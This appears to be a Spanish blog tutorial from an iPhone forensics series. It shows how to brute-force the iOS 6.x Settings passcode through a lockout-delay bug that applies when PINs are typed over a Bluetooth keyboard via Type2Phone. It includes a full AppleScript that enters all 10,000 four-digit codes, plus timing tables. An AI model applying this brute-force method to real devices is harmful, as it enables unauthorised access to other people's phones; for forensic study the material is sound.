04- Análisis forense iPhone – Parte IV – Cómo atacar por Fuerza Bruta el passcode del iPhone

Hoy voy a contar un método para crackear el passcode del iPhone.

/******************************

1. Requisitos

2. Pasos previos

3. Fuerza bruta

******************************/

Existen varios métodos para crackear el passcode pero por ahora este es el único que me ha funcionado. A medida que profundice en los demás y los pruebe, iré escribiendo como realizarlos paso a paso.

1. Requisitos

1.1 Ordenador con Mac OS X

Para automatizar el proceso de introducción de códigos se ha usado un Script hecho en AppleScript (es un programa para hacer scripts de forma secilla que corre bajo OS X).

Se podría hacer un script similar usando rutinas de Windows.

Imagen 2013-08-29 a la(s) 19.14.13

1.2 Type2Phone

Es la aplicación que usaremos de puente entre el teclado del mac y el del iPhone. Cuesta 4,99€

Type2phone

1.3 Bluetooth del iPhone activado y emparejado con el ordenador.

Para que el teclado del mac se pueda emparejar con el del iPhone es necesario conectar los dispositivos entre sí a través de bluetooth.

2. Pasos previos

Tal como comenté en la parte tercera, he realizado las pruebas con un iPhone 4S en versión 6.1.1 de iOS.

iPhone ios6.1.1

2.1 Conectamos iPhone por bluetooth y ejecutamos Type2Phone

Empezamos emparejando el iPhone al ordenador por bluetooth.

bluetooth iphone conectado

2.2 Prueba de concepto

El método se aprovecha de un bug (que por lo menos está presente hasta la 6.4) que tras conectar un teclado al iPhone, si introducimos varias veces mal un passcode dentro de los Ajustes NO surte efecto el Delay (de esperar 1, 15, 60,… min) que el iPhone introduce cuando metemos mal más de 5 veces el código.

La técnica del Delay sirve entre otras cosas es para no poder hacer un ataque de fuerza bruta. Sin esta protección sacar el passcode es solo cuestión de tiempo.

Vamos a empezar haciendo una prueba de concepto en el que introduciremos mal la contraseña unas 20 veces (mediante el teclado del mac) y veremos como el teléfono nos dejará seguir insertando códigos sin problema.

Abrimos las preferencias del programa y desactivamos la opción de “Desconectar cuando este en segundo plano” y que “cuando este 5 minutos desocupado” (esta segunda para mayor comodidad mientras preparamos las cosas).

type2phone preferenciasLa ruta que es vulnerable al ataque es: Preferencias -> General -> Bloqueo con código

Tras escribir bastantes combinaciones de códigos a través del teclado vemos como la restricción de tiempo que se muestra por pantalla NO es efectiva ya que podemos seguir tecleando.

Sin embargo la restricción de tiempo SI es real para la entrada por pantalla, ya que nos nos dejará teclear nada a través de ella (que no sea el botón cancelar).

Preferencias General

delay iphone passcode

type2phone

3. Fuerza Bruta

Una vez funcionando la prueba de concepto, vamos a automatizar el proceso de introducir números.

3.1 AppleScript

Crhis Russell ha desarrollado este Script que hace esta función.

-- Author Chris Russell
-- This script is designed to brute force the restrictions passcode on iPhone
-- Assumptions:
--   Blutooth is enabled
--   Type2Phone App is running and connected to your phone (avail on Mac App Store)
-- iPhone is switched on and on the restrictions passcode screen (General - Restrictions)
global pinCodeDigit1
global pinCodeDigit2
global pinCodeDigit3
global pinCodeDigit4

set pinCodeDigit1 to 0
set pinCodeDigit2 to 0
set pinCodeDigit3 to 0
set pinCodeDigit4 to 0

on keyStrokeNumber(num)
if (num = 0) then
tell application "System Events" to keystroke "0"
else if (num = 1) then
tell application "System Events" to keystroke "1"
else if (num = 2) then
tell application "System Events" to keystroke "2"
else if (num = 3) then
tell application "System Events" to keystroke "3"
else if (num = 4) then
tell application "System Events" to keystroke "4"
else if (num = 5) then
tell application "System Events" to keystroke "5"
else if (num = 6) then
tell application "System Events" to keystroke "6"
else if (num = 7) then
tell application "System Events" to keystroke "7"
else if (num = 8) then
tell application "System Events" to keystroke "8"
else if (num = 9) then
tell application "System Events" to keystroke "9"
end if
end keyStrokeNumber

to incrementPIN()
if (pinCodeDigit4 = 9) then
if (pinCodeDigit3 = 9) then
if (pinCodeDigit2 = 9) then
set pinCodeDigit1 to pinCodeDigit1 + 1
set pinCodeDigit2 to 0
set pinCodeDigit3 to 0
set pinCodeDigit4 to 0
else
set pinCodeDigit2 to pinCodeDigit2 + 1
set pinCodeDigit3 to 0
set pinCodeDigit4 to 0
end if
else
set pinCodeDigit3 to pinCodeDigit3 + 1
set pinCodeDigit4 to 0
end if
else
set pinCodeDigit4 to pinCodeDigit4 + 1
end if
end incrementPIN

to tryPin()
keyStrokeNumber(pinCodeDigit1)
keyStrokeNumber(pinCodeDigit2)
keyStrokeNumber(pinCodeDigit3)
keyStrokeNumber(pinCodeDigit4)
delay 1
end tryPin

try
«event ascrgdut»
end try

-- main application, simple
tell application "Type2Phone" to activate
repeat 10000 times
tryPin()
incrementPIN()
end repeat

Si leemos el código del Script vemos que primero ejecuta la aplicación type2phone y seguidamente introduce directamente a la aplicación las 10.000 combinaciones posibles con un delay de 1 segundo entre cada una de ellas. He hecho pruebas bajando ese delay y con 0.5 segundos el sistema responde bien y tarda la mitad de tiempo. No lo bajéis más porque en una prueba a 0.1 seg. he tenido que apagar el ordenador de botón ya que el teclado no respondía y no podía parar el Script.

Pegamos el código en AppleScript

applescript crack ios passcode

Antes de hacer Fuerza bruta sobre el objetivo vamos a ver el resultado de ejecutar el código sobre el Bloc de Notas:

Bloc de notas ataque fuerza bruta

Una vez visto que funciona nos posicionamos en la Ruta Preferencias -> General -> Bloqueo con código y ejecutamos el Script para comenzar la fuerza brutal.

En la aplicación type2phone veremos como van pasando todas las combinaciones una a una.

El método tiene un pequeño problema y es que cuando encuentra el código no nos avisa ni lo muestra por pantalla; simplemente accederemos a las opciones de código de las preferencias. Dentro de lo malo, con que sepamos por donde ha caido más o menos el passcode podemos hacer un sondeo posterior a mano por los códigos cercanos.

De esta manera el tiempo que tardaremos en encontrarlo es:

Delay Numero de códigos Tiempo máximo
1 10.000 2:46:40 horas
0.5 10.000 1:23:20 horas
0.3 10.000 0:50:00 horas
1 1.000 0:16:40 horas.
0.5 1.000 0:8:20 horas.
0.3 1.000 0:5:00 horas.

Otra opción de búsqueda puede ser ejecutar el código haciendo barridos de 1000 en 1000. De esta manera solo tendremos que estar atentos al millar en el que se muestre la imágen de abajo.

Bloque con código iOS

Espero que os haya gustado ;)

Carlos Rebollo – @Charliesec

Carlos@highsec.es

Más información: http://forums.macrumors.com/showthread.php?t=1566207

Los comentarios están cerrados.